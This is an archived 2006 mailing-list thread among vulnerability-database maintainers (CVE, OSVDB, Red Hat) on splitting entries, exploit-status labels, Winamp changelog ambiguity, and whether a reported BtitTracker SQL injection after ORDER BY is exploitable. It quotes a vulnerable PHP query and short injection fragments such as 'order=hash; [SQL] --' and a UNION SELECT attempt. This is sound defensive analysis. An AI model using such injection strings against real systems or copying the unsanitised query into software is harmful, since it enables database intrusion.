Just out of curiosity - in retrospect, do you think that
"split-by-executable" has worked well for OSVDB?  It's a clear rule and
easily understood, which is a big win.

> "Exploit is Rumored" is wording to indicate we think an exploit exists,
> but one was not published. In his example above, using [XSS] is taken to
> mean exploit published because 99.5% of the time, anyone can use the XSS
> Cheat Sheet [1] and cut/paste something in that will work. For SQL
> injection, unless a real example is given, we put rumored because so many
> people are familiar with SQL Injection attacks, but each injection is
> different.

At this point, with so many "forced SQL error" issues that aren't really
injection, this seems like a safe bet.

> You can't just slap the same SQL syntax into every one and have
> it work. The criteria we use for 'exploit published' is if the exact
> exploit syntax is published OR if we think any reasonable administrator
> could duplicate the attack. In a few cases, if the XSS is complex and
> requires very specliazed character usage or escaping, and the researcher
> doesn't provide an example, we'll make it 'rumored'.

Personally, if the researcher has enough clue to note that there are some
special conditions that prevent this from being garden variety XSS, it's
slightly more authoritative than "exploit is rumored."  To take it to an
extreme - EVERYTHING David Litchfield posts could technically be called
"exploit is rumored" due to the NGS disclosure policy for delayed details,
but I'd give his claims more weight than, say, the latest fly-by-night
researcher.  That said, since CVE's main objective measure of veracity is
provable vendor acknowledgement, we don't deal with these questions on a
regular basis.

> [1] http://sec.drorshalev.com/dev/xss/xssTricks.htm  (Which seems to be
>     timing out now. Anyone have a mirror?)

I use ha.ckers.org/xss.html

- Steve

From jericho at attrition.org  Mon Jun 19 02:32:52 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 19 Jun 2006 02:32:52 -0400 (EDT)
Subject: [VIM] r0t on "bugtraqs @ all"
In-Reply-To: <Pine.GSO.4.51.0606190221370.8012@faron.mitre.org>
References: <200606151550.k5FFogWU008610@faron.mitre.org>
	<Pine.LNX.4.64.0606151643580.22384@forced.attrition.org>
	<Pine.GSO.4.51.0606190221370.8012@faron.mitre.org>
Message-ID: <Pine.LNX.4.64.0606190227530.22384@forced.attrition.org>


: > Actually we don't verify every vulnerability. We're a little late in
: > making entries because many times what is one secunia entry may be 20
: > OSVDB entries (be it 20 files affected by XSS or 20 diff Mozilla
: > advisories).
: 
: Just out of curiosity - in retrospect, do you think that 
: "split-by-executable" has worked well for OSVDB?  It's a clear rule and 
: easily understood, which is a big win.

I can easily argue both methods as far as VDBs go. I have one entry in my 
queue that I groan at and push to another day over and over, because it is 
a huge split (remote file inclusion). Technically, it qualifies for a 
split by our rules as the code is in each .php file, not common code in an 
underlying library. Any one of these php files could exist on a server, 
independant of the others (which is a big reason that lead to our decision 
to split entries). On the flip side, it is obvious the author just 
cut/paste a few lines of common code and replaced the file call as needed.

Does it benefit our users to have 70 entries for this product? Our rules 
state we should split them out, but does it actually benefit anyone? While 
it may clutter up the database a bit, the obvious advantage is come 
analysis/statistic time, when we can be sure we followed standards making 
interpretation of said stats less debatable.

: > You can't just slap the same SQL syntax into every one and have
: > it work. The criteria we use for 'exploit published' is if the exact
: > exploit syntax is published OR if we think any reasonable administrator
: > could duplicate the attack. In a few cases, if the XSS is complex and
: > requires very specliazed character usage or escaping, and the researcher
: > doesn't provide an example, we'll make it 'rumored'.
: 
: Personally, if the researcher has enough clue to note that there are some
: special conditions that prevent this from being garden variety XSS, it's
: slightly more authoritative than "exploit is rumored."  To take it to an
: extreme - EVERYTHING David Litchfield posts could technically be called
: "exploit is rumored" due to the NGS disclosure policy for delayed details,

We categorize that as "Exploit unavailable", meaning we know it exists, it 
just isn't published. This is usually tagged for the likes of Litchfield, 
ZDI, iDefense, ISS etc. The shops that will develop the exploit code for 
various reasons, but not release it.


From jericho at attrition.org  Mon Jun 19 02:46:47 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 19 Jun 2006 02:46:47 -0400 (EDT)
Subject: [VIM] [Full-disclosure] bug in oscomerce
In-Reply-To: <200606072223.k57MNdWM027258@cairo.mitre.org>
References: <200606072223.k57MNdWM027258@cairo.mitre.org>
Message-ID: <Pine.LNX.4.64.0606190244360.22384@forced.attrition.org>


: I've been spending too much time investigating this issue, so I gotta 
: stop.  But figured I'd forward it to VIM if someone else wants to 
: investigate.  Since I don't have a conclusion I'll leave it off Bugtraq.
: 
: Is there a reason the original post didn't make it into any vuln dbs?

I can't find the reference, but I could have sworn this is a) intended 
functionality and b) requires authentication.

However, since the original post, OSVDB has included such issues if a web 
application admin can edit a .php file to include arbitrary code that 
would be executed on the server. Just because I have privilege to admin a 
blog, doesn't mean I should be able to run *any* PHP code on a server. 
However, if the application limits what can be added to a file, 
non-issue.


From heinbockel at mitre.org  Mon Jun 19 13:27:22 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Mon, 19 Jun 2006 13:27:22 -0400
Subject: [VIM] Ji-takz Chat (mycfg) Remote File Inclusion -- another SpC-x
	failure
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DCF0C1DB@IMCSRV5.MITRE.ORG>

Hardly a surprise, but

Took a glance at another SpC-x "vulnerability"
http://www.securityfocus.com/archive/1/archive/1/437430/100/0/threaded

Besides the fact that this is a class declaration where all of the
code is included within functions -- therefore nothing will get
executed
if tag.class.php is called directly, the "mycfg" variable/parameter is 
NEVER EVEN USED in this or any other file!


William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615

From coley at mitre.org  Mon Jun 19 13:57:12 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 19 Jun 2006 13:57:12 -0400 (EDT)
Subject: [VIM] SpC-X
Message-ID: <200606191757.k5JHvCn9029269@faron.mitre.org>


FYI, I contacted a Turkish researcher who posts frequently and has a
better command of English, and asked the researcher to talk to SpC-X.
He said he would try.  I'm not naming the researcher since it's not
his responsibility anyway, and he shouldn't be blamed if nothing
changes :)

- Steve

From coley at mitre.org  Mon Jun 19 16:55:49 2006
From: coley at mitre.org (Steven M. Christey)
Date: Mon, 19 Jun 2006 16:55:49 -0400 (EDT)
Subject: [VIM] The disappearing iPostMX 2005 SQL injection issue
Message-ID: <200606192055.k5JKtnj6005608@faron.mitre.org>


References:

  XF:ipost-forum-sql-injection(27144)
  http://xforce.iss.net/xforce/xfdb/27144

claimed source:

  http://pridels.blogspot.com/2006/06/ipostmx-2005-vuln.html

Both ISS and one of CVE's analysts reported on an SQL injection
involving the forum parameter in messagepost.cfm and topic parameter
in topics.cfm, with the r0t advisory as a reference, but that detail
is no longer included in that reference as of 20060619.  Maybe this
was a site-specific problem, I don't know.  The pridels site at the
moment seems to be having some linking/presentation issues, so I can't
investigate further.


- Steve

From jericho at attrition.org  Mon Jun 19 17:06:25 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 19 Jun 2006 17:06:25 -0400 (EDT)
Subject: [VIM] The disappearing iPostMX 2005 SQL injection issue
In-Reply-To: <200606192055.k5JKtnj6005608@faron.mitre.org>
References: <200606192055.k5JKtnj6005608@faron.mitre.org>
Message-ID: <Pine.LNX.4.64.0606191703220.22384@forced.attrition.org>


: References:
: 
:   XF:ipost-forum-sql-injection(27144)
:   http://xforce.iss.net/xforce/xfdb/27144
: 
: claimed source:
: 
:   http://pridels.blogspot.com/2006/06/ipostmx-2005-vuln.html
: 
: Both ISS and one of CVE's analysts reported on an SQL injection 
: involving the forum parameter in messagepost.cfm and topic parameter in 
: topics.cfm, with the r0t advisory as a reference, but that detail is no 
: longer included in that reference as of 20060619.  Maybe this was a 
: site-specific problem, I don't know.  The pridels site at the moment 
: seems to be having some linking/presentation issues, so I can't 
: investigate further.

On 2006-06-16, I created two entries in OSVDB for iPostMX cross-site 
scripting issues.

26522: iPostMX 2005 userlogin.cfm RETURNURL Variable XSS
26523: iPostMX 2005 account.cfm RETURNURL Variable XSS

At the time, the pridels advisory contained no mention of SQL injection 
vulnerabilities.

Currently, the advisory loads fine for me and says:

  Vuln. Description:

  iPostMX 2005 contains a flaw that allows a remote Cross-Site Scripting 
  attacks.Input passed to the "RETURNURL" parameter in "userlogin.cfm" and 
  "account.cfm" isn't properly sanitised before being returned to the 
  user. This can be exploited to execute arbitrary HTML and script code in 
  a user's browser session in context of an affected site.

As far as I remember, this is the same text that was present on the 16th.

From coley at linus.mitre.org  Mon Jun 19 17:45:10 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 19 Jun 2006 17:45:10 -0400 (EDT)
Subject: [VIM] The disappearing iPostMX 2005 SQL injection issue
In-Reply-To: <Pine.LNX.4.64.0606191703220.22384@forced.attrition.org>
References: <200606192055.k5JKtnj6005608@faron.mitre.org>
	<Pine.LNX.4.64.0606191703220.22384@forced.attrition.org>
Message-ID: <Pine.GSO.4.51.0606191740180.27735@faron.mitre.org>


On Mon, 19 Jun 2006, security curmudgeon wrote:

> On 2006-06-16, I created two entries in OSVDB for iPostMX cross-site
> scripting issues.
>
> 26522: iPostMX 2005 userlogin.cfm RETURNURL Variable XSS
> 26523: iPostMX 2005 account.cfm RETURNURL Variable XSS
>
> At the time, the pridels advisory contained no mention of SQL injection
> vulnerabilities.

The CVE analyst examined the issue at 8 AM on the 16th.  He's not around,
otherwise I'd ask him where he saw it :)

> Currently, the advisory loads fine for me

Oh, it loads fine, but the front page doesn't load correctly for me -
looks like it's my browser, though.

- Steve

From coley at linus.mitre.org  Mon Jun 19 20:07:45 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 19 Jun 2006 20:07:45 -0400 (EDT)
Subject: [VIM] r0t on "bugtraqs @ all"
In-Reply-To: <Pine.LNX.4.64.0606190227530.22384@forced.attrition.org>
References: <200606151550.k5FFogWU008610@faron.mitre.org>
	<Pine.LNX.4.64.0606151643580.22384@forced.attrition.org>
	<Pine.GSO.4.51.0606190221370.8012@faron.mitre.org>
	<Pine.LNX.4.64.0606190227530.22384@forced.attrition.org>
Message-ID: <Pine.GSO.4.51.0606191948390.27735@faron.mitre.org>



Figured I'll answer this one on the list, since most of us probably deal
with this question at one point or another.


On Mon, 19 Jun 2006, security curmudgeon wrote:

> : Just out of curiosity - in retrospect, do you think that
> : "split-by-executable" has worked well for OSVDB?  It's a clear rule and
> : easily understood, which is a big win.
>
> I can easily argue both methods as far as VDBs go. I have one entry in my
> queue that I groan at and push to another day over and over, because it is
> a huge split (remote file inclusion).
>
>...
>
> Does it benefit our users to have 70 entries for this product? Our rules
> state we should split them out, but does it actually benefit anyone?

We've faced this problem in CVE on several occasions; off the top of my
head, we have:

 - the PROTOS project disclosures - from SNMP in 2002 and beyond.  PROTOS
style analyses *should* get dozens or hundreds of CVE's, but the data
isn't there sometimes, and other times... well, it could literally take a
week of labor.  I'm slowly settling on a middle ground, but still...

 - somewhat recently, maybe last year, both Ethereal and Oracle had
large-scale disclosures.  Formal CVE content decisions are very clear that
if bug 1 and bug 2 are in different sets of versions, then they should be
split.  Both the Oracle and Ethereal advisories were very specific on the
*starting* ranges for the affected versions, which varied very widely, but
the *ending* version was the same.  Similar thing for Oracle.  But the big
question here was - "is it USABLE" to anybody?  CVE gets used in Red Hat
advisories, for example.  How is it usable to Red Hat consumers to have an
advisory that has 70 CVE's in it when there's only one patch?  (Linux
kernel updates get up there around 20, but that's more understandable than
for a single little app.)

On the other hand, just giving up and giving a single CVE to such an
advisory is not useful relative to some of the ways in which CVE is used.
We don't have a single focused audience such as sysadmins, we have
multiple audiences including IDS/tool vendors, academic researchers, etc;
and it's been a personal goal of mine to have CVE be useful in
quantitative analysis.  So, we try to balance the needs of all of the
audiences and come up with something that is at least moderately workable
for all.

In this particular case, we weakened the application of the CD's in large
scale disclosures, and have settled on a repeatable process for managing
them that seems to work.  So when an Ethereal or Oracle advisory comes out
with about 70 bugs in it, it'll probably result in 20 to 30 CVEs, which
seems to be a reasonable compromise: the numbers are still high, to
roughly capture how many bugs there were, but the numbers aren't
ridiculous, so sysadmins don't necessarily have to wade through mountains
of data.

Taken to its logical conclusion, the disparity in levels of detail for
each disclosure does not bode well for absolute consistency in metrics, no
matter how much we might try otherwise.  So I'm hoping for repeatability,
(relative) simplicity, and clarity of bias, so when people interpret
results they can at least understand how they might be skewed (well, for
the handful of people who care about that kind of thing.)

> it may clutter up the database a bit, the obvious advantage is come
> analysis/statistic time, when we can be sure we followed standards
> making interpretation of said stats less debatable.

I would guess that this is one of the big issues for any vuln DB that
wants to be correct about the raw number of vulnerabilities *and* be
useful to sysadmins.

- Steve

From coley at linus.mitre.org  Mon Jun 19 20:37:15 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 19 Jun 2006 20:37:15 -0400 (EDT)
Subject: [VIM] The disappearing iPostMX 2005 SQL injection issue
In-Reply-To: <Pine.LNX.4.64.0606191703220.22384@forced.attrition.org>
References: <200606192055.k5JKtnj6005608@faron.mitre.org>
	<Pine.LNX.4.64.0606191703220.22384@forced.attrition.org>
Message-ID: <Pine.GSO.4.51.0606192035200.27735@faron.mitre.org>


On Mon, 19 Jun 2006, security curmudgeon wrote:

> On 2006-06-16, I created two entries in OSVDB for iPostMX cross-site
> scripting issues.
>
> 26522: iPostMX 2005 userlogin.cfm RETURNURL Variable XSS
> 26523: iPostMX 2005 account.cfm RETURNURL Variable XSS
>
> At the time, the pridels advisory contained no mention of SQL injection
> vulnerabilities.

I verified with my analyst that the original version of the advisory
contained the SQL injection.

I attempted to email him but the address bounced.  Just sent in a comment
to the page - we'll see if it's approved and answered.

- Steve

From mjc at redhat.com  Tue Jun 20 03:49:47 2006
From: mjc at redhat.com (Mark J Cox)
Date: Tue, 20 Jun 2006 08:49:47 +0100 (BST)
Subject: [VIM] r0t on "bugtraqs @ all"
In-Reply-To: <Pine.GSO.4.51.0606191948390.27735@faron.mitre.org>
References: <200606151550.k5FFogWU008610@faron.mitre.org>
	<Pine.LNX.4.64.0606151643580.22384@forced.attrition.org>
	<Pine.GSO.4.51.0606190221370.8012@faron.mitre.org>
	<Pine.LNX.4.64.0606190227530.22384@forced.attrition.org>
	<Pine.GSO.4.51.0606191948390.27735@faron.mitre.org>
Message-ID: <0606200828080.13411@dell1.moose.awe.com>

> CVE gets used in Red Hat advisories, for example.  How is it usable to 
> Red Hat consumers to have an advisory that has 70 CVE's in it when 
> there's only one patch?

Since many enterprise Linux distributions do backporting it is important 
to take into account the starting vulnerable version where that is 
available; if vendors were backporting Ethereal security patches we'd be 
vulnerable only to a subset of those 70 issues (and most likely a 
different subset to each other vendor).

However Ethereal isn't a great example since Ethereal has so many issues 
and it's quite self contained so backwards compatibility isn't essential, 
all the vendors move to new upstream versions, mitigating this slightly.

The kernel is a good example though, where every enterprise vendor is 
backporting a subset of issues that affect that version to their stable 
base versions, where the base versions used by vendors are different. 
That subset of issues fixed may be chosen due to the risk of each issue 
(for example, an issue with a low security impact but requiring major code 
changes may be deffered for a future update to allow it to gain more 
testing).

So when we backport our internal processes benefit from splitting (and 
having a consistant set of rules applied for that splitting), and it helps 
our customers understand things too.

Perhaps the biggest downside of giving Ethereal 20/30/70 CVE names instead 
of a couple is when sponsored researchers are writing reports comparing 
operating systems based on open source (where lots of information is 
available allowing those 20/30/70 names to be easily determined) against 
closed source (where less information is available and so less CVE names 
would be assigned due to lack of sufficient information).  But really it's 
these reports that are broken, not CVE.

Cheers, Mark


From heinbockel at mitre.org  Tue Jun 20 18:29:01 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Tue, 20 Jun 2006 18:29:01 -0400
Subject: [VIM] BtitTracker SQL injection vuln. (and PHP mysql_query)
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DCF0C48D@IMCSRV5.MITRE.ORG>

Looking over the SQL injection report by r0t:
http://pridels.blogspot.com/2006/06/btittracker-sql-injection-vuln.html

The reference to the "by" and "order" parameters caught my eye, and
sure enough, the parameters are used after the "ORDER BY" clause in
an SQL statement.

>From line 175 in torrents.php:
> $query = "SELECT summary.info_hash as hash, ... FROM summary LEFT
JOIN 
> namemap ON summary.info_hash = namemap.info_hash LEFT JOIN categories
> ON categories.id = namemap.category $where ORDER BY $order $by
$limit";
(a similar statement is on line 173)

Therefore the only way to perform an SQL injection would be via
multiple 
SQL statements separated via a semicolon. According to the PHP
mysql_query 
documentation, semicolons are not accepted and the function is
implemented 
in such a way as it can only perform one SQL statement per call.
http://www.php.net/manual/en/function.mysql-query.php

Though according to this blog, multiple statement will be executed,
though 
only a boolean value will be returned.
http://www.ashleyit.com/blogs/brentashley/archives/000342.html
And looking here:
http://www.php-editors.com/mysql_manual/p_manual_Clients.html
PHP mysql clients can only send multi-row queries if the
CLIENT_MULTI_QUERIES 
flag is set.

http://archives.neohapsis.com/archives/fulldisclosure/2005-07/0065.html
Stephan Esser points out that ORDER BY vectors can be exploited on some

products, depending on the data set. However, this does not seem to be
the 
case here.



Does anybody have any knowledge or can verify the exact behavior of
mysql_query?

If it is the case that the multiple queries are NOT allowed, then this
is most 
likely NOT a vulnerability. The typical quote ' insertion test will
cause a 
forced SQL error but no exploit would be possible...
Otherwise, specifying "order=hash; [SQL] --" should work.


William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615

From coley at linus.mitre.org  Wed Jun 21 23:54:11 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 21 Jun 2006 23:54:11 -0400 (EDT)
Subject: [VIM] r0t on "bugtraqs @ all"
In-Reply-To: <0606200828080.13411@dell1.moose.awe.com>
References: <200606151550.k5FFogWU008610@faron.mitre.org>
	<Pine.LNX.4.64.0606151643580.22384@forced.attrition.org>
	<Pine.GSO.4.51.0606190221370.8012@faron.mitre.org>
	<Pine.LNX.4.64.0606190227530.22384@forced.attrition.org>
	<Pine.GSO.4.51.0606191948390.27735@faron.mitre.org>
	<0606200828080.13411@dell1.moose.awe.com>
Message-ID: <Pine.GSO.4.51.0606212337020.21575@faron.mitre.org>


On Tue, 20 Jun 2006, Mark J Cox wrote:

> The kernel is a good example though, where every enterprise vendor is
> backporting a subset of issues that affect that version to their stable
> base versions, where the base versions used by vendors are different.
> That subset of issues fixed may be chosen due to the risk of each issue
> (for example, an issue with a low security impact but requiring major code
> changes may be deffered for a future update to allow it to gain more
> testing).
>
> So when we backport our internal processes benefit from splitting (and
> having a consistant set of rules applied for that splitting), and it helps
> our customers understand things too.

Do you have customers who are knowledgeable and detailed enough to want
that kind of precision?

Come to think of it, this is another reason why you can't compare Linux
and Windows vulnerability counts - yes, Ethereal has many issues, but the
Linux kernel bugs are frequently handled one-by-one (at least from the CVE
perspective), even for minor version changes, whereas major Windows OS bug
fixes are frequently wrapped in a large service pack, and CVE is not
requested on a per-bug basis in that fashion (and we usually don't catch
them unless another vuln DB does, the one exception being whatever post to
VIM I made last spring or so.)  Combine that with some of Steve Manzuik et
al's recent work and make your own conclusions.

> But really it's these reports that are broken, not CVE.

People want rational answers to the "measurable security" problem, and I
don't blame them, so they're going to go where the data is.  At least the
data is repeatable (and/or refutable) since a public identifier is being
used, but you'd have the same problem with any public vuln DB.  It's the
difference in disclosure practices that's the biggest factor.  Frankly, I
don't know how this problem can be resolved, and when there are so few
analyses that one of the main contributors to this area is a member of the
press instead of a mathematician/computer scientist, well, that sounds
like we've got a long way to go.

Uh-oh, sounds like evolving disclaimer time.

- Steve

=======================================================================

Disclaimer: This message was publicly posted for the purpose of timely
technical information exchange with the ultimate goal of improving the
state of computer security.  It may contain errors, omissions, or
imprecise conversational tone.  Stated opinions are those of Steve
Christey and may vary as he learns over time.  They do not necessarily
reflect the views of The MITRE Corporation.  Members of the press are
requested to refrain from quoting this message without first
consulting with me.

From coley at mitre.org  Thu Jun 22 03:08:35 2006
From: coley at mitre.org (Steven M. Christey)
Date: Thu, 22 Jun 2006 03:08:35 -0400 (EDT)
Subject: [VIM] Winamp security vagueness
Message-ID: <200606220708.k5M78Zne025920@faron.mitre.org>


Ref:

  http://www.winamp.com/player/version_history.php

Changelog entry for 5.24 says:

  * Fixed: [in_midi] crash bug & potential security vulnerability

But, we also have changelog for 5.22:

  * Fixed: [in_midi] corrupt header crash

so, maybe we have one labeled security issue for 5.24, and another
that smells like at least a crasher, thus an issue for some vdb's, in
5.22.

But, let's toss in the Fortinet advisory just for fun:

  http://www.fortinet.com/FortiGuardCenter/advisory/FG-2006-16.html

which says there's an overflow in in_midi.dll...

... which might argue for the 5.24 Winamp changelog entry since that's
labeled as a "potential" security vulnerability...

except they also say "This vulnerability affects v5.21 and prior" and
"This vulnerability was first reported to the vendor on April 19th."

... which argues for the 5.22 Winamp changelog.

and to keep things fun,	we get a separate milw0rm exploit:

  http://www.milw0rm.com/exploits/1935

which is for Winamp 5.21, but without any other versions stated, so
could apply to either.

Which changelog entry is for the Fortinet advisory?  Which for the
milw0rm advisory?  Are there 1, 2, or 3 issues?

- Steve

From theall at tenablesecurity.com  Thu Jun 22 07:28:58 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Thu, 22 Jun 2006 07:28:58 -0400
Subject: [VIM] Winamp security vagueness
In-Reply-To: <200606220708.k5M78Zne025920@faron.mitre.org>
References: <200606220708.k5M78Zne025920@faron.mitre.org>
Message-ID: <449A7EFA.3070100@tenablesecurity.com>

Steven M. Christey wrote:

> Which changelog entry is for the Fortinet advisory?  Which for the
> milw0rm advisory?  Are there 1, 2, or 3 issues?

Searching Nullsoft's support forums, I came across the announcement of 5.24:

  http://forums.winamp.com/showthread.php?threadid=248100

which links to Secunia's advisory SA20722 which in turn credits
BassReFLeX, who authored the Milw0rm exploit, while also saying it may
be related to Fortinet's advisory. Unfortunately, there is no such
detail in the announcement of 5.22:

  http://forums.winamp.com/showthread.php?threadid=247003

Also, for grins I tested BassReFLeX's exploit against 5.23 (successful)
and  5.24 (not).

So, I think it's safe to say there are two issues here. Or maybe one.
But definitely not three. :-)

George
-- 
theall at tenablesecurity.com

From heinbockel at mitre.org  Mon Jun 26 15:49:12 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Mon, 26 Jun 2006 15:49:12 -0400
Subject: [VIM] On SQL injection and PHP mysql_query...
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DCF7F31C@IMCSRV5.MITRE.ORG>

In one sentence:
SQL command execution in BtitTracker 1.3.2, as claimed by r0t,
http://pridels.blogspot.com/2006/06/btittracker-sql-injection-vuln.html
is not possible.

--------------------------------------------------------------

As for the details:
As a follow-up to my posting 2 weeks ago,
http://www.attrition.org/pipermail/vim/2006-June/000890.html
regarding a disclosure from r0t detailing a couple of
SQL injection vectors in BtitTracker, I have found some
time to test to see if SQL command execution is possible
following an SQL "ORDER BY" clause. In sort, PHP mysql_query
does not appear to permit multiple queries:

I have been noticing an increase in questionable SQL
injection vulnerabilities. One of note is the reported
BtitTracker injection vulnerabilities as disclosed by
r0t:
http://pridels.blogspot.com/2006/06/btittracker-sql-injection-vuln.html

Here the vulnerable parameters are listed as being
"by" and "order". After some source code analysis,
it is shown that these variables are used after an
SQL "ORDER BY" clause.

>From line 175 in torrents.php:
> $query = "SELECT summary.info_hash as hash, ... FROM summary 
> LEFT JOIN namemap ON summary.info_hash = namemap.info_hash
> LEFT JOIN categories ON categories.id = namemap.category 
> $where ORDER BY $order $by $limit";

Therefore, the only opportunity for SQL command execution
is via multiple SQL statements - multiple statements
separated via semicolons ";".

The query is later used in a mysql_query call in PHP.
The PHP documentation says that the semicolon character
should not be used in the query, however it does not
specify what happens if it is...

After some experimentation, it is not possible to
perform any serious SQL injection. The best you can
do is cause an error or cause a different ordering,
grouping, or counts of the original query results.

Thus, be cautious of automatically labeling things as
SQL injection. SQL command execution is not possible
(at least on mysql) after a SQL "ORDER BY", "GROUP BY",
or "LIMIT" clause.



William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615

From sullo at cirt.net  Mon Jun 26 16:42:07 2006
From: sullo at cirt.net (Sullo)
Date: Mon, 26 Jun 2006 16:42:07 -0400
Subject: [VIM] On SQL injection and PHP mysql_query...
In-Reply-To: <224FBC6B814DBD4E9B9E293BE33A10DCF7F31C@IMCSRV5.MITRE.ORG>
References: <224FBC6B814DBD4E9B9E293BE33A10DCF7F31C@IMCSRV5.MITRE.ORG>
Message-ID: <20060626164207.wo4qg03l6p604sso@www.cirt.net>

Quoting "Heinbockel, Bill" <heinbockel at mitre.org>:

>> From line 175 in torrents.php:
>> $query = "SELECT summary.info_hash as hash, ... FROM summary
>> LEFT JOIN namemap ON summary.info_hash = namemap.info_hash
>> LEFT JOIN categories ON categories.id = namemap.category
>> $where ORDER BY $order $by $limit";
>
> Therefore, the only opportunity for SQL command execution
> is via multiple SQL statements - multiple statements
> separated via semicolons ";".

Won't it allow you to use a union, such as:
  'union select ...' when injected into $limit?

mysql should be happy with the syntax as long as ' isn't filtered out  
somewhere along the line. Now, I'm not sure if you can make it do  
something useful via the union select...




-- 

http://www.cirt.net/      |     http://www.osvdb.org/

From coley at linus.mitre.org  Mon Jun 26 16:58:58 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 26 Jun 2006 16:58:58 -0400 (EDT)
Subject: [VIM] On SQL injection and PHP mysql_query...
In-Reply-To: <20060626164207.wo4qg03l6p604sso@www.cirt.net>
References: <224FBC6B814DBD4E9B9E293BE33A10DCF7F31C@IMCSRV5.MITRE.ORG>
	<20060626164207.wo4qg03l6p604sso@www.cirt.net>
Message-ID: <Pine.GSO.4.51.0606261649000.8240@faron.mitre.org>


On Mon, 26 Jun 2006, Sullo wrote:

> Won't it allow you to use a union, such as:
>   'union select ...' when injected into $limit?

My understanding is that the union has to happen before the order by...

Although information in this postgresql post suggests that you might have
a chance by using parentheses...

  http://archives.postgresql.org/pgsql-sql/2003-09/msg00406.php

although you'd probably need to get in an opening parenthesis somehow, and
maybe that's postgresql-specific.

and here's a mysql comment on order by within parentheses for unions:

  http://bugs.mysql.com/bug.php?id=11877

- Steve

From sullo at cirt.net  Mon Jun 26 17:31:37 2006
From: sullo at cirt.net (Sullo)
Date: Mon, 26 Jun 2006 17:31:37 -0400
Subject: [VIM] On SQL injection and PHP mysql_query...
In-Reply-To: <Pine.GSO.4.51.0606261649000.8240@faron.mitre.org>
References: <224FBC6B814DBD4E9B9E293BE33A10DCF7F31C@IMCSRV5.MITRE.ORG>
	<20060626164207.wo4qg03l6p604sso@www.cirt.net>
	<Pine.GSO.4.51.0606261649000.8240@faron.mitre.org>
Message-ID: <20060626173137.kpqkl22stpss8sgs@www.cirt.net>

Quoting "Steven M. Christey" <coley at linus.mitre.org>:

>
> On Mon, 26 Jun 2006, Sullo wrote:
>
>> Won't it allow you to use a union, such as:
>>   'union select ...' when injected into $limit?
>
> My understanding is that the union has to happen before the order by...


well in my db here I did:
select * from table1 order by 'union select * from table2';

which lead me to believe it's possible. However I've decided that the  
text between the ' marks is being treated as a name and not an sql  
statement, which makes sense.

so, nevermind :-)

However, injecting a ' would still throw an error... which does not  
mean it's exploitable, but means you are injecting something into the  
sql stream.  perhaps we need a new term for "sql termination" rather  
than "sql injection"?



-- 

http://www.cirt.net/      |     http://www.osvdb.org/

From heinbockel at mitre.org  Mon Jun 26 17:43:24 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Mon, 26 Jun 2006 17:43:24 -0400
Subject: [VIM] On SQL injection and PHP mysql_query...
In-Reply-To: <20060626173137.kpqkl22stpss8sgs@www.cirt.net>
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DCF7F37B@IMCSRV5.MITRE.ORG>

Even if UNION statements could be used, the would be operating on
data fields specified in the SELECT, FROM, and WHERE clauses, so
no real useful information could be gathered.

Some functions, however can be used in an "ORDER BY", "GROUP BY",
or LIMIT SQL clause, but their security impact can only be judged
on a case by case basis, as demonstrated by Stefan Esser here:
http://archives.neohapsis.com/archives/fulldisclosure/2005-07/0065.html

So that brings the question, is the failing of an SQL query
really a security vulnerability? I know that Steve refers to
these as "forced SQL errors", but there a threat here?

Or likewise, is the injection of tags into a PHP program that
prevents the proper display of a page (but is somehow immune
to XSS -- maybe by only accepting the < character or something)?

William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615 

>-----Original Message-----
>From: vim-bounces at attrition.org 
>[mailto:vim-bounces at attrition.org] On Behalf Of Sullo
>Sent: Montag, 26. Juni 2006 17:32
>To: vim at attrition.org
>Subject: Re: [VIM] On SQL injection and PHP mysql_query...
>
>Quoting "Steven M. Christey" <coley at linus.mitre.org>:
>
>>
>> On Mon, 26 Jun 2006, Sullo wrote:
>>
>>> Won't it allow you to use a union, such as:
>>>   'union select ...' when injected into $limit?
>>
>> My understanding is that the union has to happen before the 
>order by...
>
>
>well in my db here I did:
>select * from table1 order by 'union select * from table2';
>
>which lead me to believe it's possible. However I've decided that the

>text between the ' marks is being treated as a name and not an sql  
>statement, which makes sense.
>
>so, nevermind :-)
>
>However, injecting a ' would still throw an error... which does not  
>mean it's exploitable, but means you are injecting something into the

>sql stream.  perhaps we need a new term for "sql termination" rather  
>than "sql injection"?
>
>
>
>-- 
>
>http://www.cirt.net/      |     http://www.osvdb.org/
>

From heinbockel at mitre.org  Mon Jun 26 17:49:35 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Mon, 26 Jun 2006 17:49:35 -0400
Subject: [VIM] On SQL injection and PHP mysql_query...
In-Reply-To: <Pine.GSO.4.51.0606261649000.8240@faron.mitre.org>
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DCF7F37F@IMCSRV5.MITRE.ORG>


>-----Original Message-----
>From: Steven M. Christey [mailto:coley at linus.mitre.org] 
>Sent: Montag, 26. Juni 2006 16:59
>To: Vulnerability Information Managers
>Cc: Heinbockel, Bill
>Subject: Re: [VIM] On SQL injection and PHP mysql_query...
>
>
>On Mon, 26 Jun 2006, Sullo wrote:
>
